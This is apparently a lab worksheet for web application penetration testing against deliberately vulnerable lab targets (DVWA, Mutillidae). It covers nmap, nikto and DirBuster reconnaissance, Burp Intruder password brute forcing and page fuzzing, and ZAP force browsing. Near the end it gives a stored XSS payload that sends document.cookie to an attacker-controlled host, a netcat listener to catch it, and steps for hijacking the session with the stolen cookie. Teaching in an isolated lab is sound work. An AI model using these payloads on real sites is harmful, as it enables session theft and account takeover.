Web Application Testing

Press this button to ready your machine for running the virtual machine targets. If your machine is reset or you reboot then you may have to press this button again.

Note that this target can take perhaps 5 minutes to boot, as it has many processes running many services.

Document the details of the Kali Ethernet Interface, eth0. This interface links Kali with the outside world:
IP: Format: 00.00.00.00
mac: Format: aa:aa:aa:aa:aa:aa
gateway: Format: 00.00.00.00

The target can take 5 minutes to warm up. Press the test button to see if it is running fully before continuing.

Target 1 lies somewhere in 192.168.1.1 - 192.168.1.254. This time use "ip route show" and find out the device name on your machine which would be used to handle packets going to target 1.

Target network device:

What is your machine's IP number on the target network?

Your IP:

Use nmap to sweep the target network, and identify the IP address of target 1.

Target IP:

Port scan the target, limiting your portscan to only the default Web TCP ports of 80 and 8080. As part of this do an application version scan.

Number of interested ports:
Web Server product?: None Running Apache IIS NGINX Tiny httpd httpd
Web Server version?: Apache 2.2.1 Apache 2.2.4 Apache 2.2.6 Apache 2.2.8 Apache 2.3.9 Apache 3.0 Apache 3.1 IIS7.1 IIS7.2 IIS7.3 IIS7.4 NGINX 0.4 NGINX 0.5 NGINX 0.6 NGINX 0.8 NGINX 1.0

nmap achieved this by sending additional information to the webserver, rather than just testing what port is open.

Repeat the above experiment, but in a second window/ssh session capture the traffic being sent to perform the version identification.

To do this use tcpdump. Use numeric capture. Use the interface identified above as being the one which would handle the target's packets. Use ASCII mode (-A) and increase the snap limit to maximum (-s 0). To make it easier to see the traffic of interest, use a pcap filter of "dst ... and port 80" where "..." is the ip of the target.

What was sent by nmap to perform this check? HEAD / HTTP/1.0 HEAD / HTTP/1.1 HEAD / GET / HTTP/1.0 GET / HTTP/1.1 GET / OPTIONS / HTTP/1.0 OPTIONS / HTTP/1.1 OPTIONS / GET and HEAD / HTTP/1.0 GET and HEAD / HTTP/1.1 GET and HEAD / OPTIONS and GET / HTTP/1.0 OPTIONS and GET / HTTP/1.1 OPTIONS and GET / GET,HEAD, and OPTIONS / HTTP/1.0 GET,HEAD, and OPTIONS / HTTP/1.1 GET,HEAD, and OPTIONS /

Now manually fingerprint the target on port 80, using netcat or telnet, e.g.

nc TARGETIP TARGETPORT
HEAD / HTTP/1.0

What is the "Server" set to (Case sensitive):
Hinted server-side application technology: Perl Python Java Applets Java Servlets ubuntu Orangelets v5.10 security extensions Javascript Amplets PHP PuSH

Repeat the HEAD, but this time use HTTP/1.1. What is the result this time?

Response error code:

The error was due to HTTP/1.1 requiring a "Host", i.e. a virtual host name in the request. Make up a name, e.g. "unknown" and redo the query.

Using the virtual host field set to "unknown" redo the query and save the output to a file called "/root/vh". Give it a few seconds to work, then press CTRL-D to end the connection.

Nikto is an advance web server security scanner. To see the options in Kali just do at the command line:

nikto -Help

nikto -host TARGETIP

What does nikto suggest about the Apache version? Apache is up to date Apache should be updated to 1.3.42 Apache should be updated to 2.0.64 Apache should be at least 2.2.22 Apache should be at least 2.4.37 Apache should be at most 2.2.22 Apache should be at most 2.4.96 Apache should be PHP/5.2.4-2ubuntu5.10 Apache is a final version

How many vulnerabilities has Nikto returned from the Offensive Security Vulnerability Db (OSVDB)? You must count the same vulnerability multiple times if it is listed more than once.

Vulnerabilities:

Research the OSVDB-877 vulnerability. What CERT vulnerability note does this relate to?

VU:

Consider the information exposed by OSVDB-3233. In terms of the target, examine this file and perform a risk assessment of the contents. You can view it using the VM browser, or making a simple web request with something like lwp-request. From this, what is the exact kernel version running here? (The entry is called "System", and is formatted "2.0.0-0-text").

System value:

Use DirBuster to scan target 1. It can be found in
03 - Web Application Analysis > Web Crawlers & Directory Bruteforce > dirbuster
Run this utility.

Figure 1: Dirbuster

Now run dirbuster using the directory-list-small on target 1. You can find that in /usr/share/dirbuster/wordlists.

Figure 2: Location of directory list small

Another issue is that during running, it may ask for regular expressions to identify file not found, as when it tries it the results are inconsistent. This is caused by some directories being managed by scripts, and the scripts are returning some inconsistent cache expiry dates. If this happens to you you should spend time analysing the pages, but for phpmyadmin I used "Cannot load" as the regex and for twiki I used "FILE REMOVED". Probably not great, but enough to get you going.

Even using the small list the scan may take some time. Change the output to the tree view tab. A file in the top level ending .php is found quite quickly. What is the full name of the file?

php file full name in /:

After a few minutes the scanner will uncover a directory called "twiki". In that directory is something which looked like a README file. What is the name of the file including the filename extension.

README file in /twiki/:

Burpsuite is in 03 - Web Applications Analysis>burpsuite. HOWEVER, you should not run it from there as root.

IMPORTANT. If you want burpsuite rendering to work, DO NOT start burpsuite from the menu if you are logged in as root. Instead, open a terminal and type

    xhost +
    su kali
    burpsuite
    

Figure: Intercepting proxy

In burpsuite, just use a temporary project. Then click through to Proxy and Intercept.

Run a web browser inside your virtual machine, such as Firefox ESR. Set it to use burpsuite as a proxy using the Manual proxy configuration. In Firefox, that it the top-right icon with three horizontal lines, then Preferences, then all the way to the bottom of the page to Network Settings. Use a Manual proxy configuration of an HTTP Proxy, using port 8080 on 127.0.0.1. Now visit http://192.168.1.1/

When you try to go to the target, it hangs until in Burp Suide you select Proxy, and click FORWARD. Once you do that the response is given back to the browser, and the Target tab site map is filled in a little more. It then starts to learn about the site.

Using the HTTP History sub-tab, what is the "Host" set to in the "GET /" request.
Host in GET request:

In your browser log into DVWA. Use the username "admin" and the password "password". As you are still intercepting be prepared to switch back and forth between burpsuite and the browser to FORWARD the intercepted requests. Click on DVWA Security and set the script security to low. Once complete, click on Brute Force in the DVWA menu.

Not insert some fake login information into the Brute Force login screen, such as username "right" password "wrong". Click login. This login attempt should fail, but Burp Suite will have captured the attempt.

Switch to Burp Suite. In the Site map find dvwa/vulnerabilities/brute. There should be a few entries. Click on each one until you find the one which includes the username and password you used in the GET line (it is also the one with a "tick" in the Params column). Right click in the Raw box (i.e. the one with the HTTP request) and select Send to Intruder.

Switch to the Intruder tab. In this use the Positions tab. The package tries to select the fields of interest, but this time we only need the username and password. Click Clear on the right, then one at a time select the username and password you used in your attempt, clicking on Add each time (e.g. the bit after username= and password=). Change the Attack type to Cluster bomb.

Now select Payloads. Payload set should be 1 and you need the Simple list. This list is the ones for the first field you selected (the username). Payload set 2 is for the possible passwords. Try adding usernames from the following list:

gordon
david
smithy
frank
john

123456
1234
password
test

This attack only has 20 combinations. Scroll down the list of items and focus on the Length. If one page is a different length from all the others, then this might indicate that this attempt reached a different page from all the rest. Find that attempt. Click on it and view the Response ideally in Render mode (available if you did not run it as root), or otherwise read the HTML in pretty mode. Look for "Welcome to the password protected area...".

What was the successful login attempt here?
username:
password:

Now lets investigate the mutillidae link briefly and demonstrate a little fuzzing.

Switch burp suide intercept on, and with the browser visit http://192.168.1.1/mutillidae/index.php?page=home.php
Forward all the requests.

This part of the site map is controlled by the page variable in the get request. Using a spidering technique it is possible to discover some such links, but it is possible that some links are secret and not in the normal navigation tree. We can try "fuzzing" a few options and see what turns up...

Refresh the page in the browser, but rather than forwarding the request, right click and send the page to Intruder. Clear the selection in Positions and select only the page= value excluding the ".php", i.e. in this case select only "home", and click Add. Stick with the Sniper attack type.

In Payloads, add a simple list of possible guesses for secret pages. Here are some suggestions:

admin
administrator
accounts
accounting
agent
agents
secret
secretstuff

Once the attack is complete, make sure you can see the whole of the Intruder attack window, and select each line while in the bottom half look at the Render in the Response tab. Length indications may also give you a clue as to which requests were successful.

Which three parameters of the suggested list resulted in discovered pages?
page1:
page2:
page3:
Length information suggests success in this case by:
being equal to the baseline length being around the same as the baseline being significantly smaller than the baseline being significantly bigger than the baseline being a multiple of the baseline size being a SHA512 block size being only related to the byte change incurred by the payload size shift

In this question, we are going to explore ZED Attack Proxy (ZAP). ZAP is in Applications>3. Web Applications Analysis>ZAP.

ZAP is used as a proxy in a similar way to burpsuite, but supports some automatic spidering of websites. It by default uses port 8080 as the proxy port, which is the same as burpsuite. Make sure you close down burpsuite before starting ZAP. In your browser, visit http://192.168.1.1/dvwa and make sure you are logged out of DVWA.

Your web browser needs to be configured to use the proxy details of ZAP, so redirect the networking of the browser as before to use 127.0.0.1 and port 8080 as a proxy. When setting the proxy for the web browser, check https as well. otherwise, it may not work.

Visit http://192.168.1.1/dvwa with your browser. In the browser, you might get a security risk prompt curtesy of https, accept the risk and carry on. If you go back to ZAP, you will find the 192.168.1.1 site tree is populated with dvwa. Try selecting "dvwa" and right click selecting Attack>Spider from this branch. Accept the defaults and start scan. If you were logged out of dvwa, the scan will finish fast. it should have spidered far enough to see /dvwa/login.php

What does the site map say about the "Pragma:" part of the Response of dvwa/login.php? This is to be found in the response headers part of the response.
login.php pragma value:

Now we will use ZAP with mutillidae. Go to ZAP File>New Session to clear the dashboard and start a new session.

Back to the browser, visit 192.168.1.1/mutillidae. You will now see the site map on ZAP populated with mutillidae. Right click on the mutillidae directory in the site map and choose Attack>Force Browse Directory (and Children). This opens a tab at the bottom. At the top of the tab you have two parameters to configure: Site (leave as is by default) and List (click on the drop-down menu and select 'directory-list-1.0.txt'). Then, you can click the play button next to it and the scan starts.

ZAP attempts to directly access all the files and directories listed in the selected file directly rather than relying on finding links to them. This functionality is based on code from the now retired OWASP DirBuster project. The scan takes a long while to finish. However, quite early, you can see the mutillidae folder in the site map populated with interesting sub directories and files.

Here we are interested in a directory called "passwords". Remember it may take a few minutes to produce the information you need. This directory has a ".txt" file containing information about users. Each user information is contained in its own line, and each line contains the username, password, and a comment, separated by a comma.

What is the password for the user "ed"?
password:

Disable the browser proxy and finish using burpsuite. If you are returning to this after a reboot, make sure DVWA security is set to low.

In DVWA, visit the "XSS stored" page. Again you should be logged in as admin. Enter a message from "jim", but in the description enter javascript.

<script>alert("watched");</script>

Clear this message by using Setup in dvwa and clicking Create/Reset database.

Logout of admin, and log in with username 1337 and password charley. Again go to the XSS stored button. Now we really want to try and get "1337"'s cookie to be sent to one of our servers. But it is tricky! Ideally we want to do: Create a message from Jim, but this time make the message:

<script>new Image().src="http://192.168.1.254/cookie.php?"+document.cookie;</script>

<script>var h="http://192.168.1.254/";</script>

<script>h=h+"cookie.php";</script>

<script>h=h+"?"+document.cookie;</script>

<script>new Image().src=h;</script>

Now when you visit this page it will request an image from our webserver, but include the current session cookie as a GET parameter. We will use netcat to be the webserver.

nc -l 192.168.1.254 80 > /root/xss

This session cookie is only good enough until the session has ended for some reason, for instance by logging out. To demonstrate this, and while still logged in as "admin", click on the world icon in the browser address line, click the broken padlock, Clear cookies and site data, then remove. Refresh the page and you should be back to the login page.

Now view your /root/xss file, and get the bit of the request which starts PHPSESSID=.... (up to the space). Now in firefox, in the top right menu select Web Developer>Web Console. This allows you to run your own javascript... Take the PHPSESSID string and substitute it into the following instead of "abcde1234etc". If you are building this using cut and paste, you need to enter "allow pasting" first. This is all typed into the prompt of the console:

document.cookie = 'PHPSESSID=abcde1234etc; expires=3600; path=/; domain=192.168.1.1';

Figure: Javascript console setting of the cookie

Now revisit http://192.168.1.1/dvwa/ and you are now admin again. OK so not easy but with the right tools...